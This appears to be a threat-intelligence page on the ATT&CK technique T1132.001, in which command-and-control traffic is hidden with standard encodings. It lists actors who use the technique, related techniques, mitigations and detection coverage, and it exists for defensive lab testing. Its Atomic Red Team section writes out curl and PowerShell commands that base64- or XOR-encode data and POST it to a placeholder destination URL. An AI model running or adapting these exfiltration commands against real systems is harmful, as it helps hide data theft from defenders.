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ATT&CK Technique

Standard Encoding

T1132.001 · command-and-control

Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.

Some data encoding systems may also result in data compression, such as gzip.

ESXiLinuxmacOSWindows
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Actors Using This

14
russia_speaking_cybercrimeAkira
russia_speaking_cybercrimeALPHV / BlackCat
chinaAoqin Dragon
chinaAPT17
chinaAPT3
private_mercenaryBahamut
indiaBitter
russia_speaking_cybercrimeBlack Basta
chinaBlackTech
russia_speaking_cybercrimeCarbanak
chinaChimera (G0114)
russia_speaking_cybercrimeCl0p
russiaCloud Atlas
russia_speaking_cybercrimeCuba
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Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.
initial-access earlier
T1456 · Drive-By Compromise ×3.45T1566.004 · Spearphishing Voice ×2.87
execution earlier
T1574.011 · Services Registry Permissions Weakness ×3.27
credential-access earlier
T1212 · Exploitation for Credential Access ×3.14T1003.005 · Cached Domain Credentials ×2.90T1552.005 · Cloud Instance Metadata API ×2.76
discovery earlier
T1426 · System Information Discovery ×3.45
collection earlier
T1417 · Input Capture ×3.02T1530 · Data from Cloud Storage ×2.68
command-and-control same
T1437 · Application Layer Protocol ×3.45T1437.001 · Web Protocols ×3.45
other same
T1564.003 · Hidden Window ×3.25T1218.010 · Regsvr32 ×2.99T1036.004 · Masquerade Task or Service ×2.90T1562.009 · Safe Mode Boot ×2.71
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Atomic Tests

3
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
shmacos, linuxBase64 Encoded data.
Utilizing a common technique for posting base64 encoded data. 
echo -n 111-11-1111 | base64
curl -XPOST #{base64_data}.#{destination_url}
shlinuxBase64 Encoded data (freebsd)
Utilizing a common technique for posting base64 encoded data. 
echo -n 111-11-1111 | b64encode -r -
curl -XPOST #{base64_data}.#{destination_url}
powershellwindowsXOR Encoded data.
XOR encodes the data with a XOR key. Reference - https://gist.github.com/loadenmb/8254cee0f0287b896a05dcdc8a30042f 
$plaintext = ([system.Text.Encoding]::UTF8.getBytes("#{plaintext}"))
$key = "#{key}"
$cyphertext =  @();
for ($i = 0; $i -lt $plaintext.Count; $i++) {
 $cyphertext += $plaintext[$i] -bxor $key[$i % $key.Length];
}
$cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext)
[System.Net.ServicePointManager]::Expect100Continue = $false
Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $cyphertext -DisableKeepAlive
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Mitigations

1
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1031Network Intrusion Prevention

Use intrusion detection signatures to block traffic at network boundaries.

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Detection Coverage

1/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 4
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
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Comply & Defend

NIST 800-53AC-04, CA-07, CM-02, CM-06, SC-07, SI-03, SI-04
Intelligence Graph · click any node to traverse
CVETechnique ActorTool Family
drag to reposition · click any node to traverse · button top-right enlarges
External lookups - second-class, for what we don’t hold ourselves
MITRE ATT&CKAtomic Red Teamcar (MITRE)
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